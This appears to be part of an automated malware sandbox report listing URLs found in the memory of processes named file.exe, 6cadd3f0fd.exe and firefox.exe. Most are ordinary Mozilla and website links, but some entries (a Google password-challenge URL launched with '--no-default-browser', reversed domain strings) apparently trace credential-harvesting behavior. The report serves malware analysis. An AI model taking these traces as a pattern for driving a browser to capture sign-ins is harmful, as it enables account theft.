Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001B.00000003.2679591143.000001C177478000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001B.00000002.2785119034.000001C175299000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 6cadd3f0fd.exe, 0000000D.00000003.2638368744.0000000005973000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001B.00000002.2773817495.000001C174760000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe
Source: firefox.exe, 0000001B.00000002.2773817495.000001C174760000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsUse
Source: firefox.exe, 0000001B.00000003.2699335815.000001C1775A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2717941008.000001C1775A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 0000001B.00000003.2679591143.000001C177478000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: 6cadd3f0fd.exe, 0000000D.00000003.2638368744.0000000005973000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.1681333174.0000000005A65000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1681259671.0000000005A6C000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2454420514.00000000052CE000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2583715092.00000000058B1000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2585195417.00000000058AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000003.1681333174.0000000005A40000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2585195417.0000000005885000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: file.exe, 00000000.00000003.1681333174.0000000005A65000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1681259671.0000000005A6C000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2454420514.00000000052CE000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2583715092.00000000058B1000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2585195417.00000000058AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000003.1681333174.0000000005A40000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2585195417.0000000005885000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001B.00000002.2773817495.000001C174760000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 0000001B.00000002.2773817495.000001C174760000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000001B.00000002.2773817495.000001C174760000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000001B.00000002.2773817495.000001C174760000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001B.00000002.2733122243.000001C164C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2744766730.000001C170CD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001B.00000002.2757990027.000001C172674000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001B.00000003.2674078299.000001C17CD4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000001B.00000002.2757990027.000001C1726C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 0000001B.00000002.2757990027.000001C1726C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: firefox.exe, 0000001B.00000002.2736051759.000001C1703AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723930872.00000154760CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2722359273.000002B7970E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: firefox.exe, 0000001B.00000002.2785119034.000001C1752E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2596897657.000001C174600000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/chrome://extensions/content/schemas/telemetry.jso
Source: firefox.exe, 0000001B.00000002.2749174259.000001C17191A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2757990027.000001C1726C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 0000001B.00000002.2757990027.000001C1726C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 0000001B.00000002.2757990027.000001C1726C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: file.exe, 00000000.00000003.1681589317.0000000005A57000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2454915918.00000000052B9000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2586097370.000000000589C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 0000001B.00000002.2736051759.000001C1703AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723930872.00000154760CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2722359273.000002B7970E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: firefox.exe, 0000001B.00000002.2757990027.000001C1726AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2746480848.000001C170DEF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2674563212.000001C17CF5C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2676858066.000001C17CF80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2762165135.000001C1731A0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.2597108445.000001C17481F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2597604309.000001C17485A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2597314679.000001C17483C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2596897657.000001C174600000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.1681589317.0000000005A57000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2454915918.00000000052B9000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2586097370.000000000589C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeService
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2778187093.000001C174C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2597108445.000001C17481F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2597604309.000001C17485A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2597314679.000001C17483C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2596897657.000001C174600000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search_flippedInheritedAttributes
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 0000001B.00000002.2744766730.000001C170C8D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2733122243.000001C164C6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2778559508.000001C174D83000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2725658450.0000000A4E94B000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171937000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: 6cadd3f0fd.exe, 0000000D.00000003.2638368744.0000000005973000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: firefox.exe, 0000001B.00000003.2683990291.000001C175A58000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2683314621.000001C175A4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: 6cadd3f0fd.exe, 0000000D.00000003.2638368744.0000000005973000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000003.1711563084.0000000005B3D000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2485074230.000000000559C000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2638368744.0000000005973000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 6cadd3f0fd.exe, 0000000D.00000003.2638368744.0000000005973000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 00000020.00000002.2722359273.000002B7970C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001B.00000002.2757990027.000001C172674000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: file.exe, 00000000.00000003.1711563084.0000000005B3D000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2485074230.000000000559C000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2638368744.0000000005973000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 0000001B.00000002.2725658450.0000000A4E94B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 0000001B.00000002.2733122243.000001C164C6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgsqlite_temp_master
Source: firefox.exe, 0000001B.00000002.2757990027.000001C1726C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001B.00000002.2757990027.000001C172674000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2757990027.000001C1726C0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 0000001B.00000002.2757990027.000001C1726C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2722359273.000002B79700A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000001B.00000002.2773817495.000001C174760000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warningThe
Source: firefox.exe, 0000001B.00000003.2679591143.000001C1774F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2678449963.000001C178089000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001B.00000003.2678449963.000001C1780DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001B.00000002.2719893448.0000000A46FD8000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/accoSt?=https://a
Source: firefox.exe, 00000020.00000002.2720468138.000002B796E60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/sig
Source: firefox.exe, 00000020.00000002.2720880731.000002B796EAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000019.00000002.2577497195.000001A424CB0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2590723298.000001446A807000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2732087108.000001C1649C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 00000020.00000002.2720880731.000002B796EA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdI
